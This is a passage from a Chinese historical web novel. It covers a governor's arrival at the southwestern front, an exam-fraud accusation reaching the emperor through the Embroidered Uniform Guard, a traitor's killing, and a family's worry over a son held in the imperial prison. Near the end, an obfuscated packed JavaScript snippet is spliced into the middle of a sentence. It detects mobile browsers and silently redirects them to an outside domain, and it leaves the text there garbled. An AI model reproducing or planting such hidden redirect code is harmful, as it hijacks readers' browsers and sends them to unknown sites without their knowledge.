游乘陪同姜归，冲上石阶，妥帖地把检举李司和会试主考官张伦的揭帖，投进了衙门前的特设信箱。 会试放榜前，一场暴风雨，拉开了帷幕。 57. 团扇就位，直达圣听 西南，马湖府。 风裹着当地特有的潮湿与硝烟，扑在游怜泉的脸上。 这位新任的西南剿匪巡抚，还在亡妻的丧期里，双眉皱紧，满面忧思。 游怜泉踏入巡抚行辕的门，靴底沾着未干的泥。一抬头，他便听见了内堂里压抑的咳嗽声，他知道，那是刚从前方战场回来的兵部尚书，谢岗谢大人。 游怜泉走过回廊，看见梁柱上的箭痕，也看见堆在墙角的尚未清理的断矛。 甚至，连他的鼻子里都弥漫着药与血混合的气息。 游怜泉是武夫，不是矫情的人，但此刻因为这儿的环境，让他的胃里翻搅不止，便不得不抬手，捂住了鼻子。 穿过最后的石墙，正好撞见谢岗坐在正堂的石阶上，自己拆肩上的绷带。 谢岗的箭伤在左臂，纱布被血渍浸透。 而在绷带底下，更是旧伤叠着新伤，令人心痛。 “游巡抚，远道而来，让你见笑了。” 这时，谢岗也看见游怜泉，扯着嘴角笑了笑，嗓音嘶哑。 在谢岗身旁，立着个身形挺拔的将军，铠甲的血都来不及擦。此人正是谢岗手下的第一将军，沈越。 “巡抚大人！”沈越朝游怜泉行礼，眼底的红丝暴露了连日征战的疲惫。 游怜泉忙上前两步，避开谢岗受伤的左臂，扶起谢岗，“谢大人、沈将军，二位为国操劳，辛苦了！此次我奉命来西南督战，还望二位指点。” 一时间，旧人相逢，相顾落泪。 三人正说话，门外传来轻缓的脚步。 穿兵服的少年端着药碗进来，身形单薄，却走得稳当。 “大人。” 这少年十岁出头，眉眼青涩，利落地将药碗轻放在谢岗手边，不忘低声叮嘱，“药刚熬好，小心烫。” 游怜泉原本没在意这小兵。 可当少年抬头的瞬间，他心头一动。因为眼前这副眉眼，分明有游家人的影子。尤其是少年眼神里的执拗，和他已故三弟游怜钊，简直一模一样。 “你叫什么名字？” 游怜泉的声音不觉发紧，目光锁在那少年身上。 少年愣了下，躬身行礼，“回大人，小的叫游编。” 果然是三房侄子！ 游怜泉细细端详面前的少年，这个游编是三弟游怜钊唯一的儿子。 三年前，三弟不幸遇难，是大哥大嫂帮忙游说，请求谢岗的内弟沈越收下游编，带着来到西南，为剿匪尽一份微薄之力。 没想到，游编真的从最底层开始，在军中当了一个小兵。 游怜泉走近游编，扶起孩子的肩，打量他身上的最低等兵服，显然这孩子相当有志气，没靠任何游家的关系。 “游编？二伯认不出你小子了！”游怜泉含泪笑道，重重拍在侄子的肩头。 一旁的谢岗，笑着解释，“这孩子，可是我们军中的小英雄。” 原来，前几日攻打山寨，游编跟着斥候队潜入后山，硬是凭着灵活的身手，把寨子里的粮草库给烧了，为那次总攻争取了不少时间。 谢岗说着，看向游编的眼中多了些泪光，“孩子身上，有游侍郎当年那股子不怕死的劲儿。” 提到已故的三弟，游怜泉的喉结滚动，想说些什么，却没有开口。 他不愿再让侄子游编经受一遍丧亲之痛，毕竟，三弟的死，是瞒着游编的。直到今天，这件事才被他当着游编的面讲出来。 游编却已是泪流满面，紧紧抱住二伯游怜泉。 这三房侄子游编，性子犟。 三年前，他因为不满三殿下，竟敢接近三殿下，以刀行刺三殿下……这些秘密，当然只在游家流传，被三殿下整个压下了。 而对于游编和三殿下的纠葛，游怜泉有自己的猜测，却想不明白具体的原因。 直到前不久。 大嫂提到三弟和三殿下的过往，用一种不敢多讲的口吻。游怜泉听了，慢慢有些懂了。 只怕三弟妹李襄与三殿下，往日里有些不可言说的联系，被三弟和三侄子得知了，这才引发了一场惊天又隐秘的行刺报复。 因着这些，游怜泉现在对游编，更不敢小看。 这小子连三殿下都敢下手，可想而知，在面对野蛮的悍匪时，会有多大的勇气和意志力。 此番细想下来，家中大哥大嫂把游编送来西南，真是不错的安排。 而游编自己，在西南也极为适应，凭着勇气，让兵部尚书谢岗和将军沈越高看一眼。 游怜泉陷在沉思中，没再说话。 谢岗却像想起了什么，让人先把游编带下去。 而后，谢岗走到游怜泉面前，面露哀伤，“听闻尊夫人周氏，不幸亡故，我和沈越都深感惋惜，望大人节哀。” 游怜泉扯了扯外衣下的素袍，眼神暗下来。 周氏走的那段时日，他确实消沉许久，院子里常常蜡烛都不点，他坐在院中的梅树下，发呆，落泪。可如今，他站在西南的土地上，身上扛着剿匪的重任，容不得他再有半分颓丧。 “多谢二位挂心。” 游怜泉抬手紧了紧腰间的带子，恢复往日的沉稳，“身负皇命，来到这前线，便要打起精神。咱们三人同心协力，早日平定匪患，也好让将士们凯旋回京，让百姓重新安稳度日。” 本以为这番话能鼓舞士气，可游怜泉发现谢岗在叹气。 沈越站在一旁，也沉默着没有接这话。 “游大人，不是我泼冷水。” 谢岗一口干了手中的伤药，低声道，“我们谢家参与剿匪，已经二十多年。我大哥、二哥、三哥，还有侄子、儿子，都死在了这片山里。数年前，因为谢家已经没有男丁能上战场，只好拖来了内弟沈越……” 言语间，谢岗看向身旁的沈越，声声无奈，“沈越是我妻子的弟弟，沈家就这么一根独苗。” 谢家坚守在这多年，难道不想赢？ 实在是匪徒比想象的要难对付得多，他们熟悉山林地形，又懂得打游击，时而分散，时而聚集，而且个个悍不畏死，狡猾得很。 游怜泉心下有了盘算，皱起眉头。 他在京城时，早就听过西南剿匪的艰难，今日亲耳听谢岗说起，亲眼看过，才知情况比传闻中更严峻。 但他来到这里的第一天，谢岗就打了一次漂亮的胜仗。 游怜泉从地上捡起一截断矢，上面染着谢岗的血气，“谢大人不可自轻，今日咱们能拿下山寨，就说明将士们有能力和匪徒抗衡！所以，只要找对方法，未必没有胜算。” 闻言，谢岗和沈越对视一眼，终是露出些笑意。 沈越上前一步，说道，“游大人说得对。其实，今日能拿下山寨，多亏了一个人，我们正想介绍给你认识。” 这时，他朝屏风后喊了一声，“李壮士，上来吧。” 话音落下，一个身影从屏风后走出。 此人穿着一身粗布，身材高大，脸上一道疤，横贯眼睛，延伸到下颌。 游怜泉初看，还以为这是什么缴械投降的“山匪头子”。 此外，他盯着那人脸上的疤，还觉得有些眼熟，可一时想不起来，在哪里见过。 直到谢岗喊出“李经资”这个名字，游怜泉才猛地惊觉。 李经资？和当朝内阁首辅李经章，只差一个字。 游怜泉想到李经章，浑身打个冷激灵。 妻子周氏的死，就和这李家脱不了干系。前日李经章的同乡李司，在京城散布流言，说周氏虐待庶子游乘，说他纵容周氏，不顾庶子死活，一时间，让他身陷舆论的泥潭，京察的结果极为不堪。 周氏忍受不了压力，最后迫于形势，竟选择了自我了结。 经那件事，游家和李家的仇怨，又加深了一层。 “敢问你，和李经章是什么关系？” 游怜泉的话，寒意逼人，紧盯着颔首的李经资。 李经资没有丝毫隐瞒，抬起头直视，“回大人，李经章是我大哥。” “……不可能！” 游怜泉厉声打断，因他知道，李经章确实有个弟弟，可那人在二十多年前，因杀人抢劫被判了死刑，早就该是个死人了。 “你怎么可能是李家二爷？” 李经资闻言，噗通一声，跪在地上，“游大人，此事说来话长。” 当年，他确实被判死刑，可最后死的人，并不是他。 负责那桩案子的大理寺卿，也就是游怜泉的父亲，游仁泰，用一个死囚把李经资换了下来。 “所以，我这条命，是游家给的。” 游怜泉听了这话，如遭雷击，愣在原地。 父亲游仁泰在大理寺任职，一向以公正严明著称，怎么会做这种私换死囚的事。而且，帮的人还是李经章的弟弟。 就在此时，游怜泉忽然想起另一件满是疑惑的往事。 三弟游怜钊，本是游家的庶出子，当年却娶了李经章的嫡女李襄。 当时游怜泉还以为，是李襄和三弟两情相悦，可现在想来，这里面恐怕藏着另一桩交易。 父亲救了李经资，李经章便把嫡女嫁给三弟作为回报。 这么说李襄嫁给三弟，根本不是自愿，而李襄十多年前搬去寒山寺独居，恐怕也不是因为不堪三弟忙于公事，而是有其他的原因。 至于三弟和李襄在外人面前的恩爱，大概都是装的。 游怜泉只觉大为震撼。 怪他对家中之事少有关心，居然错过了这许多，幸好，今日都被揭开，让他不再被蒙在鼓里。 可是李经资在西南出现，依然疑点重重。 游怜泉是知道的。 三年前，李经章的儿子李谨，在京城惹了祸，害死正妻却隐瞒不外告丧，试图立刻续弦，险些让李经章受到牵连。为避风头，李经章立刻安排李谨去了老家湖西，当时，李经资是跟随照料李谨的。 现在李经资却在西南，那李谨呢？ 如果李谨没去成湖西，肯定会把李经资叛逃的事告诉李经章。 但京城的李家，最近一片太平，这实在太反常。 “不知，李谨何在呢？” 游怜泉终是问了出来，口吻冰冷，“你把他怎么了？” 李经资仍跪在地上，答道，“大人放心，我既然来投军，便不会再行恶事。李谨好好活着呢，他也来了西南，但被我关在柴房，已经三年了。” “关在柴房？” 游怜泉皱紧眉头，“可是他想逃跑？快带我看看。” 作为西南战事的最高官吏，游怜泉当然有权过问一切事务。 李经资立刻起身引路，带着游怜泉穿过偏院，来到后面的柴房外。 门是粗木做的，挂着一把大锁。 李经资打开锁，推开房门，里面无光。 游怜泉拿过点亮的火把，往里走，顿时大吃一惊。 与他设想的场景不同，这间柴房收拾得很干净。 角落里，有个年轻男子在擦一把弯刀，他身形挺拔，肌肉结实，回过头的脸上，没有往日在京城时的纨绔之气。 见了游怜泉，那人半跪行礼，动作干练，俨然是个训练有素的战士。 若不是他那张脸还透出几分熟悉感，游怜泉都不敢认，这就是李家那只会斗鸡走狗的儿子，李谨。 游怜泉与李谨简单相谈，不知为何，李谨总在抬手抓挠后颈。 正要问一问，是否柴房里蚊虫太多。 李经资小声提醒游怜泉，这里不可久留，赶紧出去。 游怜泉走到了柴房外，看着李经资把门关紧，上了锁。 他甚为疑惑，只好从最关心的一件事开始询问，“这三年，你对李谨做了什么？” 李经资笑了笑，“没做什么，就是让李谨明白了一些道理。人一旦被自己亲爹背叛，就会有无穷的斗志了！” 游怜泉瞬间明白，“你不会告诉了李谨，是李经章故意把他送来西南的吧？” “为何不能？” 李经资神色淡然，“大哥总想把李谨护在羽翼下，可这样护着，永远也成不了器。只有让李谨自己经历些磨难，才能真正长大。” 游怜泉虽无法认同这种做法，也无法否认，在李经资的教导下，现在的李谨比之前好了太多。 只是，游怜泉还有一点不明白，“他变好了，你为什么还把他关在柴房里？” 提到这个，李经资的眼睛垂下去，“在来西南的路上，李谨中了一种当地的毒，是被山里的虫子咬的。” 三年来，每隔一段时间，毒性就会发作，到时李谨会情绪失控，攻击身边的任何人。 李经资和谢大人、沈将军找遍了西南的医者，都没能找到解药，只能把李谨关在这里，既能防止李谨伤人，也能好好照料李谨。 游怜泉沉默。不知该说什么。 他游家和李家有深仇大恨，而李谨是李经章的儿子，就算现在变好了，自己也没有义务帮李谨找医者。 游怜泉看着柴房窗口，那一道专注擦刀的背影让他心情复杂难言。 安全抵达西南，见到了三房侄子游编，还遇见了李家二爷和李家儿子。 游怜泉当晚夜不能寐，匆匆写了一封家书，把情况一一告知给京城的家人，提到游编，也提到李经资和李谨。 但游怜泉没有细说，只简单提了一句，算是让家中的人有所准备。 这封信，经由官道，快马加鞭送向了一无所知的京城。 从马湖府到京城，路途遥远，这封信要足足走一个月。 在这封信抵达京城之前，一场风暴已经在京城悄然酝酿。 京城的四月，春暖花开。 司宁侯府的东园厢房里，暂借住在长房的姜归坐在桌前。 他原本是来京赶考的江陵举子，上月会试结束，偶然撞见一桩舞弊事件。 都察院副都御史李司，勾连会试主考官、翰林院大学士张伦的侄子，以引见会试举子为名，收受贿赂，不计其数。 姜归一路尾随李司，所见所闻，可谓骇人听闻。听那李司的话意，要介绍会试举子给张质认识，数次提到了“名次”字眼。 李司和张质，帮有钱有势的举子打通关节，行舞弊之举，令人振臂挥拳。 因为会试是朝廷选拔人才的重要手段。但李司身为都察院的官员，本该监督考场纪律，却公然舞弊，让姜归无法容忍。 姜归把一切写了下来，写成揭帖，一开始想投递给李司的直接上级，都察院都御史刘钦。第一次通过御史投递，被拦了下来。第二次，趁着刘钦上朝，把揭帖放在刘钦桌上，又被李司的人抢先一步拦下。 走投无路之时。 司宁侯府的大爷游怜山帮写揭帖，还出主意，“何不把揭帖投给锦衣卫衙门？” 姜归是明白的，这条路，凶险，但很便捷。 锦衣卫直接对皇帝负责，只要揭帖能送到皇帝手里，李司就算有天大的后台，也难逃罪责。 姜归前往锦衣卫衙门投揭帖，不是一个人。 他在京城结识的朋友，司宁侯府的长孙，游乘，陪他一同跑这一趟。 那日清晨出发前，游乘曾问过姜归，“一旦失败，你会性命不保。真想清楚了吗？” 姜归想得不能再清楚了，“揭穿李司的罪行，就算拼了命，也值。” 四月初五的早晨，天刚亮，京城街道上还没多少人。 游乘陪着姜归，来到锦衣卫衙门前。那道大门紧闭着，门前立着持刀的锦衣卫，警惕地扫视四周。而在大门侧面，挂着个黑箱子，上面印着“密奏直达天听”六字，就是父亲游怜山说的信箱。 姜归从怀里取出揭帖，还带着温热，快步走到箱前，将揭帖投了进去。 整个过程，不过一眨眼，守卫的锦衣卫只是看了眼姜归，可这一眼让姜归的后背被汗浸湿。 游乘也看着那些锦衣卫，浅浅行礼，见没有什么异常，忙拉着姜归离开。 两人刚走没多久，锦衣卫衙门里，掌事千户钱源就出来打开黑箱，拿走了揭帖。 钱源回到值房，打开揭帖，越看眉头皱得越紧。 信中所写的，李司舞弊一事，牵扯甚广，不仅涉及都察院和翰林院，还可能牵连到内阁首辅李经章，毕竟，李司是李经章的同乡，是被李经章一路提拔上来的。 “此事非同小可，必须立刻禀报指挥使大人。” 钱源不敢耽搁，拿起揭帖去找锦衣卫指挥使郑显。 到了郑显的值房门口，一问才知，指挥使大人昨晚去了“李司大人”府上饮酒，今天还没出现。 霎时，钱源心里一惊。 李司昨晚宴请郑显，怎么偏偏在这个时候？这里面恐怕没那么简单。 钱源想了想，决定先把揭帖的内容写成简略的“签报”，等郑显回来后再上报。可没想到，他刚写完签报就有人来报，说，郑显大人已经回来，正在值房等着。 钱源拿着签报，走进郑显的值房，见郑显坐在椅子上，脸色发白，眼神似乎也有些恍惚，显然是宿醉未醒。 郑显抬头看见钱源，揉揉太阳穴，“听说你有事，这么着急？” 钱源躬身，把签报递了过去，“大人，刚收到一封揭帖，是关于都察院副都御史李司在会试中舞弊的事。” 郑显接过签报，漫不经心地看了起来。 可越看，他的脸色越白，手也开始发抖，昨晚李司客气宴请他，席间不断劝酒，还安排了美人作陪。他原本以为，只是普通的一场应酬，没料到，李司恐怕故意为之，想把他灌醉，以便拖延时间。 “该死！” 郑显把签报拍在桌上，面目铁青，“李司这个狗东西，竟然敢算计我！” 钱源站在一旁，低声说道，“大人，此事事关重大。李司背后是李经章，不能轻易动，可锦衣卫的存在，就是为皇帝办事的。如果我们隐瞒不报，一旦事情败露，不仅我们会丢了性命，恐怕整个衙门的兄弟和家人，都会受到牵连。” 郑显皱紧眉头，显出些不多的犹豫。 他当然知道事情的严重性，可一旦把签报送进宫，就等于，正式和内阁首辅李经章结下了仇。李经章相当不简单，权倾朝野，他们得罪了李经章，以后在京城的日子，不会好过的。 “送，还是不送？”郑显喃喃自语，双目落在钱源誊写的签报上。 钱源看出他的犹豫，上前一步，道，“大人何必犹豫？送与不送，我们都没有好果子吃啊。既然如此，不如遵循本心，为天下举子做一件实事。” 而后，钱源甚至道出真心话。如果郑显为难，不如就当没见过这封签报，由他自己来送进宫，后续的查办，也由他自己来负责。 郑显闻言看了看钱源，神色复杂。 他手下的钱源，是锦衣卫里出了名的硬骨头，为人正直，从不攀附权贵，也正因如此，钱源到现在还是个掌事千户，一直没有升迁。不过眼下，形势所需，正要像钱源这样的人站出来。 郑显想明白了，站起身，“此事还是我来办，事不宜迟，我现在就进宫。” 整理官服，走出锦衣卫衙门，郑显在众人的瞩目下，骑马朝皇宫赶去。 此时，朝臣正散了早朝，皇宫门口人来人往。 郑显不想冲撞任何一位官吏，忙下了马，步行匆匆，他进宫时，恰好李经章和李司一前一后，走了出来。 尽管郑显低着头，李司还是认出了郑显，登时露出惊讶之色。 “郑大人，这么匆忙，是有什么急事吗？”李司揣着明白装糊涂。 郑显看着他，嘴角勾笑，“也没什么，只是本官想起了昨晚那壶酒，现在有些后怕。” 能在锦衣卫任指挥使，郑显自认酒量不算差。 可昨晚他不过喝了几杯，就一觉睡到天亮，耽误了上值。想来，李司府上的酒，怕是加了些别的东西。 李司的脸色一变，眼神闪烁起来。 他不敢直视郑显，摸着鼻子看了看身后的靠山，内阁首辅李经章。 李司找回了点底气，清清嗓子，“郑大人说笑了，许是昨晚陪您的姑娘们太热情，您没休息好，罢了。再说，那酒是我珍藏多年的佳酿，怎么舍得加别的杂物？” 他一边说，一边给李经章使了个眼色。 李经章不动声色地上来，负手而立，“郑大人，些许小事而已，何必放在心上？若是李司招待不周，改日，本官做东，给郑大人赔罪？” 郑显却没接话，对李经章笑了笑。 接着，他的目光越过这两人，朝着不远处喊道，“王公公，留步！” 司礼监掌印太监王庆祥，年岁不小了，今天有些疲惫，准备回宫休息一下。 听见郑显的喊声，王庆祥回头一看，停下了脚步，“郑大人有何事？” “有重要签报，需呈给陛下，还望公公代为转交。”郑显快步上前，将带来的签报递给王庆祥。 看到这一幕，心虚的李司呆呆望向郑显和王庆祥，双腿发软，差点栽倒在地。 幸好，旁边都察院的下属眼疾手快，及时扶住了他。 李司嘴唇哆嗦着，心里只有一个念头。 完了，一切都完了。 李经章也看出了不对劲，眉头紧锁。 他以为，郑显递上去的签报，绝非凡品，只怕是牵扯到了李司的舞弊之举。 一旦皇帝知晓，不仅李司要完，连他这个内阁首辅也会受影响。 李经章扶着摇摇欲坠的李司，低道，“东西拦不住了……先跟我回府，商议一下。” 马车一路颠簸，回到内阁首辅李府。 李司被下人扶进内堂，一屁股坐在椅子上，眼神空洞。 他一连喝了好几杯甜糖水，靠着椅子闭起眼睛，半晌才缓过神，一睁眼就抓住身边伺候的小厮，“宫里和锦衣卫那边，有动静吗？” 小厮摇摇头，“回大人，暂时没有任何消息传来。” 李司松了口气，重新靠在椅背上，啧啧叹气，“看来，宫里那位也在犹豫吧，毕竟我背后是李经章，皇帝怎么可能轻易动我？” 正暗自庆幸，内堂的门被推开。 李经章走进来，脸沉得比暴雨前夕还可怕。 他径直走到李司跟前，冰冷道，“事到如今，你还做白日梦？若不是你，贪心不足，大肆收受贿赂，怎会闹到今天这个地步？” 李司被骂得一哆嗦，忙从椅子上站起，伏地跪在李经章脚边，“大人，我知道错了，求您救救我！我要是被查，湖西的那些事扯出来，对您也没好处啊！” 李经章看着地上的李司，失望透顶，“我真是后悔，当初就不该听你的，让你去什么都察院。若是我弟，经资还在，这些事早就被他处理得干干净净，哪会像你这样，把事情闹得不可收拾！” 李司嘴角蠕动，不甘心和李经资那种土匪头子比较，却不敢反驳李经章，只能一个劲地磕头求饶。 从李府出来，李司的额头肿起一大块。 他坐在马车里，一想起李经章提起的李经资，忍不住在心里暗骂。 那该死的山匪头子，李经资，凭什么还被李经章当成宝贝？ 若不是李经资不在，自己怎会被李经章骂成这副德行？ 回到自己府中。 妻子柳氏见李司被人用轿子抬回来，忙出来搀扶，“老爷，是怎么了？” 李司甩开柳氏的手，在桌边缓了口气，“还不是因为李经资那个土匪！” 他把李经资当年杀人，却被大理寺卿游仁泰救下的事，告诉了柳氏。 这秘密，真比天都大了。 柳氏目瞪口呆，吓道，“这事传出去，是杀头的大罪啊！” “杀头？” 李司冷笑，眼神变得狠厉，“如果李经章这次不救我，敢把我推出去，我就把这事捅出去，拉着他和游家，一起陪葬！” 与此同时，锦衣卫衙门里。 钱源坐在值房，一遍遍审视那封有关李司和张伦的揭帖。 听见郑显回来，他拉开门，将郑显迎进来。 郑显告诉钱源，签报已经送到了掌印太监王庆祥手中，现在只等皇帝的指示。 但在此之前，锦衣卫要先有所行动，秘密验证那封揭帖内容的真实性。 “是，属下立刻去找相关的人查验，”钱源领了命令走出值房，准备安排下去。 过道里，响起一阵争吵。 钱源一看，是另一个掌事千户任非，和自己卫所里的几个锦衣卫百户吵架了。 原来，任非得知了这案子交给了钱源。 原本负责查办的他，被钱源抢了差事，心中不爽，便找岔子发泄不满。 “凭什么让你负责？本该是我的！”任非的手指戳在钱源的胸前。 值房门后，郑显看到这一幕，对任非道，“是本官的意思！你不满，给我忍着。” 任非当然不敢反驳郑显，狠狠地瞪了钱源一眼，转身离开。 他回到值房，越想越不甘心，最后咬了咬牙，决定去找李司，用刚才的情报换一些油水。 副都御史李府。 李司今天被惊吓得太狠了，此刻的神色仍有些憔悴。 他在家中，等待李经章的下一步指示，却听管家来报，说锦衣卫掌事千户任非求见。 李司愣了下，任非是锦衣卫的人，这个时候来见自己，说不定是有什么重要的消息。他让管家赶紧把任非领来。 任非进书房，一脸谄媚的笑，朝着李司拱了拱手，“李大人一向安好？下官任非，见过李大人。” 李司就像猛地吃了一口馊食，尴尬地笑道，“任千户不必多礼，来人，上茶！” 他心里清楚，任非肯定是有所图，自己正好可以利用他。 两人坐下后，任非话锋一转，神秘道，“下官听说，锦衣卫已经收到关于大人的揭帖，开始着手秘密调查此案子了。” 李司怕得厉害，面上却故作镇定，“任千户说什么笑话？我是都察院副都御史，一向奉公守法，怎会有揭帖针对我？想必有人故意造谣，污蔑我的名声。” 任非笑了笑，“李大人不必隐瞒。下官在锦衣卫任职多年，消息还是灵通的。” 随后，他坦白，这揭帖是江陵举子姜归和游家长孙游乘一起递的，内容直指李司在会试中舞弊。而如今，钱源已奉命调查，打算传讯张质和那些见过李司的举子。 李司仍是笑，“有这回事？” 任非看了他一阵，压低声音，凑近道，“不过下官今天来，是想尽自己的力量，帮一帮李大人。” 李司早料到这人的算盘，“怎么个帮法？” 任非仰起头，“本人和钱源素来不和，他想办的事，我偏不想让他成。只要李大人信得过我，我可把此事彻底搅黄！” 听言，李司故意露出惊奇之色。 他一把抓住任非的袖子，笑得更夸张，“任千户是聪明人！这事能过去，我定在李首辅面前，为你美言，保你升官发财。在锦衣卫里，再没人敢给你气受，包括那个……郑显。” 一下就说到了任非心坎里。 任非起身道谢，“有李大人这席话，下官绝不会让大人失望。” 两人又密谋了许久，任非把锦衣卫的调查计划、钱源的行踪都告诉了李司，还承诺会帮李司销毁证据、收买证人。 李司这边，当场给了任非五百两银票，作为定金，说等事成，再给一千两。 任非拿着银票，心满意足地离开了李府。 而在他身后，李司看着他的背影，脸上笑容全无。 这种傻子，死了，还帮人数钱呢。 李府大门外，两个黑衣人盯上了任非。 这两人是锦衣卫的暗线，听从钱源的安排，在这里监视李司和他的亲信。 刚才任非和李司的谈话，暗线虽然没有完全听清，但大致内容已经汇报给了钱源。 “任非这个叛徒，竟敢勾结李司，背叛锦衣卫，真是活腻了！” 钱源得知此事，立刻下令两个属下，找到合适的时机，务必要将任非处理干净。 任非收下李司给的银票，并没有回锦衣卫衙门，去了一家赌场。 他平日好赌，欠了不少债，这次拿到五百两，正好去还债，再好好赌一场。 在赌场里玩到深夜，任非今天手气不错，赢了些钱，醉醺醺地离开。 一出赌场，被黑衣人拦住去路。 “任千户，跟我们走一趟，”其中一人冷冷地说。 任非瞬间酒醒了大半，拔出佩刀，警惕道，“你们敢拦我，知道我是谁吗？找死！” 另一个黑衣人笑了，嘲讽连连，“你勾结李司，背叛朝廷，还配做锦衣卫？你死期到了。” 二人打一人，任非有几分武艺，喝了酒，反应迟钝，没过几招，就被制服。 黑衣人捂住任非的嘴，另一人拿出匕首，毫不犹豫地刺进他的胸口。 任非瞪大眼睛，很快血就染透了他的官袍，没了气息。 偏僻的小巷里，两道黑影迅速撤离。 第二日一早，打更人发现了任非。 官府不敢耽搁，立刻上报给了锦衣卫。 “原物奉还”的时候，钱源带着游乘和姜归，走进了诏狱。 和其他接受审查的人不同，游乘和姜归的身上没有木枷。 对此，带他们来的锦衣卫千户钱源，解释说，他们只是配合调查，暂时不是嫌犯。 游乘却不这样以为。 他在京城长大，长在侯府家，心思比普通人的孩子更成熟，也更缜密。 今天他们能得锦衣卫千户的照顾，大半，是家中父母苦心周旋的结果。 游乘打住思绪，看着地上已经死透了的任非，又看看钱源脸上的漠然，问道，“钱千户，任千户毕竟是你的同僚，你怎么一点都不在意他的死？” 钱源转头一声冷笑，弯腰，从任非的腰上扯下一块玉佩。 那玉佩，质地温润，做工精巧，看着就知是出自某个京中的名门望族。 “这块玉，原本是李司为我准备的。” 钱源掂了掂玉佩，“那日，他邀我去府上做客，想送给我，被我拒了。后来，他就把玉送给了任非。” 一旁的姜归挑眉，道，“这么说，钱千户还得感谢任千户，替你挡了一劫？” “感谢就不必了。” 钱源收起玉佩，扔给身边的百户，“把任千户送回他家，报丧。另外，去请示郑大人，要不要伪造一个死因，再给任家送些抚恤金。” 百户领命而去。 钱源转身，看着游乘和姜归，“二位，跟我来，该去诏狱牢房里待着了。” 诏狱是锦衣卫关押犯人的地方，历来以阴森恐怖闻名。 这日，游乘和姜归被带进诏狱，虽然没有扣上木枷，心里多少有些忐忑。 可让他们没想到的是，一整天过去，诏狱竟然十分安静，没有想象中的惨叫，也没有狱卒的呵斥。 两人被关在一间牢房，虽然简陋，却很干净。 一夜过去，姜归的肚子饿得咕咕叫，他靠在墙边，看着也睁开了眼的游乘，“你不奇怪？咱们被关这么久，怎么连个审问的人都没有？也太安静了。” 游乘坐在地上，想了会，“或许，最该被审问的，还没到。” 姜归皱眉，“最该被审问的？你是说李司？” 游乘点头，“李司是舞弊案的第一主谋，他没被抓，这案子就不算真正开始审。” 姜归的肚子又叫了一声，他摸着肚子，“就算不审，也该给口吃的啊。我快饿死了，你不饿？” “有一点。” 游乘也按住了扁扁的肚子，“现在要是能喝上一碗母亲做的肉粥，就好了。” 姜归被勾起馋虫，直咽口水，“令堂做的粥肯定好吃，我还没吃过令堂的手艺。” 就在这时，牢房外有脚步响起。 锦衣卫百户端着两只碗过来，把碗放在牢房外的地上，“二位，你们的朝食。” 游乘侧目一看，不敢置信。 他饿得没力气，手脚并用地爬，到了跟前才敢确认，两只碗里的粥，色泽浓郁，撒着一层葱花，香气扑鼻，还真是他母亲做的味道！ 这里戒备森严，外人根本无法进入，母亲能把粥送来，想必花了重金打点。 “快吃，凉了就不美味了，”游乘推了推还在出神的姜归。 两人端起碗，大口喝着肉粥。 牢房外，又传来一阵脚步，只见几个锦衣卫押着几人进来。 这些被押送的人里，有李家管家，有张伦侄子张质的管家。 还有一个熟悉的身影，是姜归在揭帖中提到过的，在巷子里碰见的糖人摊主。 姜归放下碗，趴在木栏边看，“终于要开始了。” 司宁侯府的朱门紧闭，值守的门房比往日多了不少。 府内一片沉寂，洒扫的丫鬟脚步放轻，说话也只是用手比划，生怕扰了什么。 长房东园的正堂里，容芝手上的绣活一直没停。 她的手艺不好，比不过这里土生土长的女子，经过十多年的练习，从帽子、腰带、发带，到现在，她缝起衣裳，也可以得心应手。 日头慢慢西斜，桌上的茶凉了一杯又一杯。 她终是等来丫鬟的通传，忙起身，快步迎了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259849|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 “夫人！” “见到了？” 来人是虞次，他在东园伺候多年，身上有工夫，办事也老练。 早晨，他被容芝派去锦衣卫衙门打点，顺便打探一下游乘和姜归的消息。 他风尘仆仆回来，不敢耽误，“幸不辱命，虽没和公子说上话，但在屋顶上远远看了眼。” 容芝的鼻子反而发酸，颤声道，“他们有没有受苦？没有用刑吧？” “夫人放心，公子和姜兄弟没受半点苦。我去的时候，他们给公子们送肉粥，还告诉我，公子吃了粥，立刻尝出来是夫人亲手做的。” 容芝长叹一声，仍不敢掉以轻心。 昨日游乘被锦衣卫带走，她明知是注定的事，却一夜没合眼。 清晨就进厨房，亲手熬了肉粥，又托了好几层关系，才送进了诏狱。 她原本担心粥送不到孩子手里，听到虞次的话，心总算放下了一点。 可这一点安心是远远不够的。 诏狱是什么地方，就算现在没受苦，后续又会不会？ 她必须在锦衣卫衙门里，找到一个值得托付的人。 回忆原书中，她想起关于锦衣卫指挥使郑显的记载。那位郑显，早年曾在一场大火中救过太子炎准的性命，两人有过命的交情。 如果她向太子求情，让太子出面关照一二，游乘和姜归在诏狱里，或许能少受罪。 当然她能想到的，见太子的地方，不是东宫，而是千家胡同的房牙行。 容芝有了想法，看向虞次时，却不觉得安排他去找太子是合适的。 他刚从诏狱附近回来，李家的人肯定盯着他的动静了，现在就让他去千家胡同，被李家察觉，怕会暴露了太子殿下的身份。 大案一触即发，正是敏感时期。 这被李家抓住把柄，说他们司宁侯府勾结东宫，麻烦更大了。 “我去一趟千家胡同，”容芝说着，起了身。 “夫人一个人去？” 上来阻拦的，不止是虞次，还有跟随容芝多年的丫鬟，阿桔。 阿桔已临盆在即，不可随意走动，还拉着容芝劝阻，“您是侯府长夫人，身份尊贵，平日倒是好说，现在还去千家胡同，目标太大！再则，您单独外出也不安全。” 容芝眼前一亮，想起一个人，住在府上的五妹，游梅。 游梅是游怜山的妹妹，早过了二十，当年生母难产而死，她悲痛之下立誓，要为母守丧终生，不谈婚论嫁。 这些年，游梅住在山上的寒山寺，少于家族来往。 不过前不久，她听从母亲邓氏的要求，下山搬回侯府，住在梅园，深居简出。 这五妹妹一贯淡泊，比府中其他女眷看问题更透，遇事也果断，不优柔寡断。 若请游梅陪自己去，既能壮壮胆子，又能有个商量的人。 容芝当机立断，去梅园请到了五妹游梅。 马车驶出侯府，四月的街，树抽绿，花正艳。 